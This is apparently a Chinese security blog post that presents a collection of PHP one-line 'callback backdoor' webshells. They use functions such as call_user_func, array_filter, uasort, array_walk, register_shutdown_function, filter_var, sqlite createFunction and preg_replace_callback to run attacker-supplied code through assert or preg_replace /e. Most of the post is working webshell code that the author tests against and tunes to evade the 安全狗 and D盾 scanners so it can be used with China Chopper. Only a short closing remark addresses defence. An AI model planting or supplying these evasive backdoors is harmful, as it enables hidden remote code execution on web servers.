最近很多人分享一些過狗過盾的一句話，但無非是用各種方法去構造一些動態函數，比如$_GET['func']($_REQUEST['pass'])之類的方法。萬變不離其宗，但這種方法，雖然狗盾可能看不出來，但人肉眼其實很容易發現這類后門的。
那么，我就分享一下，一些不需要動態函數、不用eval、不含敏感函數、免殺免攔截的一句話。
有很多朋友喜歡收藏一些tips，包括我也收藏了好多tips，有時候在滲透和漏洞挖掘過程中很有用處。
一句話的tips相信很多朋友也收集過好多，過狗一句話之類的。14年11月好像在微博上也火過一個一句話，當時也記印象筆記里了：
最近又看到有人在發這個：http://www.secoff.net/archives/436.html
有同學收集tips，就有同學創造tips。那么我們怎么來創造一些過狗、過D盾、無動態函數、無危險函數（無特征）的一句話（后門）？
根據上面這個pdo的一句話，我就可以得到一個很具有普適性的結論：php中包含回調函數參數的函數，具有做后門的潛質。
我就自己給這類webshell起了個名字：回調后門。
php中call_user_func是執行回調函數的標準方法，這也是一個比較老的后門了：
#!php
call_user_func('assert', $_REQUEST['pass']);
assert直接作為回調函數，然后$_REQUEST['pass']作為assert的參數調用。
這個后門，狗和盾都可以查到（但是狗不會攔截）：
可php的函數庫是很豐富的，只要簡單改下函數安全狗就不殺了：
#!php
call_user_func_array('assert', array($_REQUEST['pass']));
call_user_func_array函數，和call_user_func類似，只是第二個參數可以傳入參數列表組成的數組。如圖：
可見，雖然狗不殺了，D盾還是聰明地識別了出來。
看來，這種傳統的回調后門，已經被一些安全廠商盯上了，存在被查殺的風險。
進一步思考，在平時的php開發中，遇到過的帶有回調參數的函數絕不止上面說的兩個。這些含有回調（callable類型）參數的函數，其實都有做“回調后門”的潛力。 我最早想到個最“簡單好用的”：
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
array_filter函數是將數組中所有元素遍歷并用指定函數處理過濾用的，如此調用（此后的測試環境都是開著狗的，可見都可以執行）：
這個后門，狗查不出來，但D盾還是有感應，報了個等級3（顯然比之前的等級4要低了）：
類似array_filter，array_map也有同樣功效：
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);
依舊被D盾查殺。
果然，簡單的數組回調后門，還是很容易被發現與查殺的。
php 5.4.8+后的版本，assert函數由一個參數，增加了一個可選參數descrition：
這就增加（改變）了一個很好的“執行代碼”的方法assert，這個函數可以有一個參數，也可以有兩個參數。那么以前回調后門中有兩個參數的回調函數，現在就可以使用了。
比如如下回調后門：
#!php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
這個后門在php5.3時會報錯，提示assert只能有一個參數：
php版本改作5.4后就可以執行了：
這個后門，狗和盾是都查不出來的：
同樣的道理，這個也是功能類似：
#!php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
再給出這兩個函數，面向對象的方法：
#!php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
再來兩個類似的回調后門：
#!php
$e = $_REQUEST['e'];
$arr = array(1);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
以上幾個都是可以直接菜刀連接的一句話，但目標PHP版本在5.4.8及以上才可用。
我把上面幾個類型歸為：二參數回調函數（也就是回調函數的格式是需要兩個參數的）
有些函數需要的回調函數類型比較苛刻，回調格式需要三個參數。比如array_walk。
array_walk的第二個參數是callable類型，正常情況下它是格式是兩個參數的，但在0x03中說了，兩個參數的回調后門需要使用php5.4.8后的assert，在5.3就不好用了。但這個回調其實也可以接受三個參數，那就好辦了：
php中，可以執行代碼的函數：
1. 一個參數：assert
2. 兩個參數：assert （php5.4.8+）
3. 三個參數：preg_replace /e模式
三個參數可以用preg_replace。所以我這里構造了一個array_walk + preg_replace的回調后門：
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
如圖，這個后門可以在5.3下使用：
但強大的D盾還是有警覺（雖然只是等級2）：
不過呵呵，PHP擁有那么多靈活的函數，稍微改個函數（array_walk_recursive）D盾就查不出來了：
#!php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
不截圖了。
看了以上幾個回調后門，發現preg_replace確實好用。但顯然很多WAF和頓頓狗狗的早就盯上這個函數了。其實php里不止這個函數可以執行eval的功能，還有幾個類似的：
#!php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');
另一個：
#!php
echo preg_filter('|.*|e', $_REQUEST['pass'], '');
這兩個一句話都是不殺的：
好用的一句話，且用且珍惜呀。
回調后門里，有個特殊的例子：ob_start。
ob_start可以傳入一個參數，也就是當緩沖流輸出時調用的函數。但由于某些特殊原因（可能與輸出流有關），即使有執行結果也不在流里，最后也輸出不了，所以這樣的一句話沒法用菜刀連接：
#!php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
但如果執行一個url請求，用神器cloudeye還是能夠觀測到結果的：
即使沒輸出，實際代碼是執行了的。也算作回調后門的一種。
preg_replace、三參數后門雖然好用，但/e模式php5.5以后就廢棄了，不知道哪天就會給刪了。所以我覺得還是單參數后門，在各個版本都比較好駕馭。 這里給出幾個好用不殺的回調后門
#!php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);
這個是php全版本支持的，且不報不殺穩定執行：
再來一個：
#!php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);
再來兩個：
#!php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
這兩個是filter_var的利用，php里用這個函數來過濾數組，只要指定過濾方法為回調（FILTER_CALLBACK），且option為assert即可。
這幾個單參數回調后門非常隱蔽，基本沒特征，用起來很6.
回到最早微博上發出來的那個sqlite回調后門，其實sqlite可以構造的回調后門不止上述一個。
我們可以注冊一個sqlite函數，使之與assert功能相同。當執行這個sql語句的時候，就等于執行了assert。所以這個后門我這樣構造：
#!php
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
執行之：
上面的sqlite方法是依靠PDO執行的，我們也可以直接調用sqlite3的方法構造回調后門：
#!php
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
前提是php5.3以上。如果是php5.3以下的，使用sqlite_*函數，自己研究我不列出了。
這兩個回調后門，都是依靠php擴展庫（pdo和sqlite3）來實現的。其實如果目標環境中有特定擴展庫的情況下，也可以來構造回調后門。 比如php_yaml：
#!php
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
還有php_memcached：
#!php
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);
自行研究吧。
上面說了，回調函數格式為1、2、3參數的時候，可以利用assert、assert、preg_replace來執行代碼。但如果回調函數的格式是其他參數數目，或者參數類型不是簡單字符串，怎么辦？
舉個例子，php5.5以后建議用preg_replace_callback代替preg_replace的/e模式來處理正則執行替換，那么其實preg_replace_callback也是可以構造回調后門的。
preg_replace_callback的第二個參數是回調函數，但這個回調函數被傳入的參數是一個數組，如果直接將這個指定為assert，就會執行不了，因為assert接受的參數是字符串。
所以我們需要去“構造”一個滿足條件的回調函數。
怎么構造？使用create_function：
#!php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
“創造”一個函數，它接受一個數組，并將數組的第一個元素$arr[0]傳入assert。
這也是一個不殺不報穩定執行的回調后門，但因為有create_function這個敏感函數，所以看起來總是不太爽。不過也是沒辦法的事。 類似的，這個也同樣：
#!php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['pass']);
再來一個利用CallbackFilterIterator方法的回調后門：
#!php
$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
echo $item;
}
這里也是借用了create_function來創建回調函數。但有些同學就問了，這里創建的回調函數只有一個參數呀？實際上這里如果傳入assert，是會報錯的，具體原因自己分析。
這一篇文章，就像一枚核武器，爆出了太多無特征的一句話后門。我知道相關廠商在看了文章以后，會有一些小動作。不過我既然敢寫出來，那么我就敢保證這些方法是多么難以防御。
實際上，回調后門是靈活且無窮無盡的后門，只要php還在發展，那么就有很多很多擁有回調函數的后門被創造。想要防御這樣的后門，光光去指哪防哪肯定是不夠的。
簡單想一下，只有我們去控制住assert、preg_replace這類函數，才有可能防住這種漏洞。
97av